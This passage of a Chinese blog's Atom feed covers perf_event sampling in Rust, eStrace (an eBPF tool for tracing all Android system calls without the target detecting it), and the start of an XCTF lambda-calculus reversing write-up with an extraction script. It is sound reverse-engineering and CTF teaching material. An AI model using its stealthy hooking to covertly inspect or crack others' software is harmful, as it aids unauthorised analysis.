&lt;&#x2F;span&gt;&lt;span&gt;attrs.sample_regs_user &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;arch::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;SAMPLE_REGS_USER&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sys::perf_event_open(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;mut&lt;&#x2F;span&gt;&lt;span&gt; attrs,
&lt;&#x2F;span&gt;&lt;span&gt;    pid,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    (sys::bindings::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PERF_FLAG_FD_CLOEXEC&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;sample_type&lt;&#x2F;code&gt;还可以加上&lt;code&gt;PERF_SAMPLE_STACK_USER&lt;&#x2F;code&gt;，获取用户调用栈信息。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>eStrace - 使用eBPF追踪系统调用</title>
        <published>2023-06-14T00:00:00+00:00</published>
        <updated>2023-06-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/estrace/"/>
        <id>https://richar.top/estrace/</id>
        
        <content type="html" xml:base="https://richar.top/estrace/">&lt;p&gt;Android逆向时经常需要通过hook系统调用观察程序的行为，但使用seccomp很容易被目标程序检测。而eBPF是内核层面hook，用户态程序不可能能感知到，用于逆向时行为分析再合适不过了。在此之前也已经有教程教如何使用eBPF hook所有系统调用：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.kanxue.com&#x2F;thread-275176.htm&quot;&gt;60秒学会用eBPF-BCC hook系统调用 ( 2 ) hook安卓所有syscall&lt;&#x2F;a&gt;。但是读下来发现，需要配置bcc环境、编写python代码，十分麻烦（我不相信真的60秒能学会）。&lt;&#x2F;p&gt;
&lt;p&gt;而我使用rust的aya框架，可以直接编译成一个单独的可执行程序，直接运行就可以hook所有系统调用了。同时借鉴了strace以及lurk等项目，将syscall执行以行日志形式输出，便于分析。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;项目地址&lt;&#x2F;strong&gt;：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;eStrace&quot;&gt;ri-char&#x2F;eStrace&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ru-he-shi-yong&quot;&gt;如何使用&lt;&#x2F;h2&gt;
&lt;p&gt;从&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;eStrace&#x2F;releases&quot;&gt;Release&lt;&#x2F;a&gt;中下载对应平台的二进制，直接运行即可。真的仅需60秒！&lt;&#x2F;p&gt;
&lt;p&gt;效果图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;estrace&#x2F;1.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h2&gt;
&lt;p&gt;在eBPF中，使用TracePoint，分别挂载了两个函数在&lt;code&gt;raw_syscalls&#x2F;sys_enter&lt;&#x2F;code&gt;和&lt;code&gt;raw_syscalls&#x2F;sys_exit&lt;&#x2F;code&gt;上，可以获取所有系统调用的事件。然后需要一张表来记录每一个系统调用有几个参数，每个参数的类型和名称，如果参数是指针的话，还需要记录指针指向结构体的大小，解引用的时机（有些指针作为系统调用的返回值）。详见：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;eStrace&#x2F;blob&#x2F;main&#x2F;cli&#x2F;src&#x2F;syscall_info&#x2F;mod.rs&quot;&gt;&#x2F;ri-char&#x2F;eStrace&#x2F;cli&#x2F;src&#x2F;syscall_info&#x2F;mod.rs&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span&gt;syscall!(read, fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;INT&lt;&#x2F;span&gt;&lt;span&gt;, buf &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;output_struct_ref&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;), count &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;INT&lt;&#x2F;span&gt;&lt;span&gt;; [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;DESC&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]);
&lt;&#x2F;span&gt;&lt;span&gt;syscall!(write, fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;INT&lt;&#x2F;span&gt;&lt;span&gt;, buf &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input_struct_ref&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;), count &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;INT&lt;&#x2F;span&gt;&lt;span&gt;; [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;DESC&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]);
&lt;&#x2F;span&gt;&lt;span&gt;syscall!(open, filename &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;STR&lt;&#x2F;span&gt;&lt;span&gt;, flags &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;INT&lt;&#x2F;span&gt;&lt;span&gt;, flags &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;INT&lt;&#x2F;span&gt;&lt;span&gt;; [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;DESC&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;FILE&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]);
&lt;&#x2F;span&gt;&lt;span&gt;syscall!(close, fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;INT&lt;&#x2F;span&gt;&lt;span&gt;; [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;DESC&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]);
&lt;&#x2F;span&gt;&lt;span&gt;syscall!(stat, filename&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;STR&lt;&#x2F;span&gt;&lt;span&gt;, statbuf &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;output_struct&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#b90622;color:#f8f8f0;&quot;&gt;sizeof&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;(stat)); [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;FILE&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;STAT&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;STAT_LIKE&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]);
&lt;&#x2F;span&gt;&lt;span&gt;syscall!(fstat, fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;INT&lt;&#x2F;span&gt;&lt;span&gt;, statbuf &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;output_struct&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#b90622;color:#f8f8f0;&quot;&gt;sizeof&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;(stat)); [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;DESC&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;FSTAT&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;STAT_LIKE&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有了这样一张表，每个系统调用就去查表，将数据通过PerfEventArray传回用户态程序。用户态程序解析并将日志输出。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;todo&quot;&gt;ToDo&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;上面这张系统调用的信息表可能存在错误&lt;&#x2F;li&gt;
&lt;li&gt;更加完整的过滤机制&lt;&#x2F;li&gt;
&lt;li&gt;参数结构体解析&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>XCTF lambda 题解</title>
        <published>2023-03-31T00:00:00+00:00</published>
        <updated>2023-03-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/xctf-lambda-wp/"/>
        <id>https://richar.top/xctf-lambda-wp/</id>
        
        <content type="html" xml:base="https://richar.top/xctf-lambda-wp/">&lt;p&gt;题目给了一个可执行程序和一份源码（一般有源码的题目都不容易）。源码可以看到是实现了一个lambda的解释器。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;richar.top&#x2F;xctf-lambda-wp&#x2F;attachment.zip&quot;&gt;附件地址&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;lambda表达式结构体如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef enum&lt;&#x2F;span&gt;&lt;span&gt; _ExpType
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;kSymbol&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;kLambda&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;kCall
&lt;&#x2F;span&gt;&lt;span&gt;}ExpType;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef unsigned char &lt;&#x2F;span&gt;&lt;span&gt;Symbol;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef struct&lt;&#x2F;span&gt;&lt;span&gt; _Exp Exp;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef struct&lt;&#x2F;span&gt;&lt;span&gt; _Closure Closure;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef struct&lt;&#x2F;span&gt;&lt;span&gt; _Env Env;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef struct&lt;&#x2F;span&gt;&lt;span&gt; _LazyArg LazyArg;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; Expression represents AST of lambda calculus
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct &lt;&#x2F;span&gt;&lt;span&gt;_Exp
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;	ExpType type;
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;union
&lt;&#x2F;span&gt;&lt;span&gt;	{
&lt;&#x2F;span&gt;&lt;span&gt;		Symbol symbol;
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct
&lt;&#x2F;span&gt;&lt;span&gt;		{
&lt;&#x2F;span&gt;&lt;span&gt;			Symbol arg;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span&gt; Exp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; body;
&lt;&#x2F;span&gt;&lt;span&gt;		}lambda;
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;struct
&lt;&#x2F;span&gt;&lt;span&gt;		{
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span&gt; Exp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; rator;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span&gt; Exp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; rand;
&lt;&#x2F;span&gt;&lt;span&gt;		}call;
&lt;&#x2F;span&gt;&lt;span&gt;	}u;
&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序运行时会将输入的字符转换成&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Church_encoding&quot;&gt;Church Number&lt;&#x2F;a&gt;，放入程序内置的表达式的指定位置。因此第一步是要将数据段的lambda表达式提取出来。
程序会将输入分成11段，放入11个lambda表达式中进行校验，每个lambda表达式会返回一个Church Boolean。
先编写简单的python脚本把程序内的11段lambda表达式提取出来&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;dump
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;sys
&lt;&#x2F;span&gt;&lt;span&gt;sys.setrecursionlimit(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;50000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;get_index&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;(addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x004040a0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;Exp&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;to_str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;pass
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;Symbol&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;font-style:italic;color:#ffc66d;&quot;&gt;Exp&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    c:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;__init__&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;c
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;to_str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.c
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;Call&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;font-style:italic;color:#ffc66d;&quot;&gt;Exp&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    rator: Exp
&lt;&#x2F;span&gt;&lt;span&gt;    rand: Exp
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;__init__&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;rator&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.rator&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rator
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.rand&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;rand
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;to_str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;(&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.rator.to_str() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.rand.to_str() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;)&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;Lambda&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;font-style:italic;color:#ffc66d;&quot;&gt;Exp&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    arg: &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str
&lt;&#x2F;span&gt;&lt;span&gt;    body: Exp
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;__init__&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.arg&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;c
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.body&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;body
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;to_str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
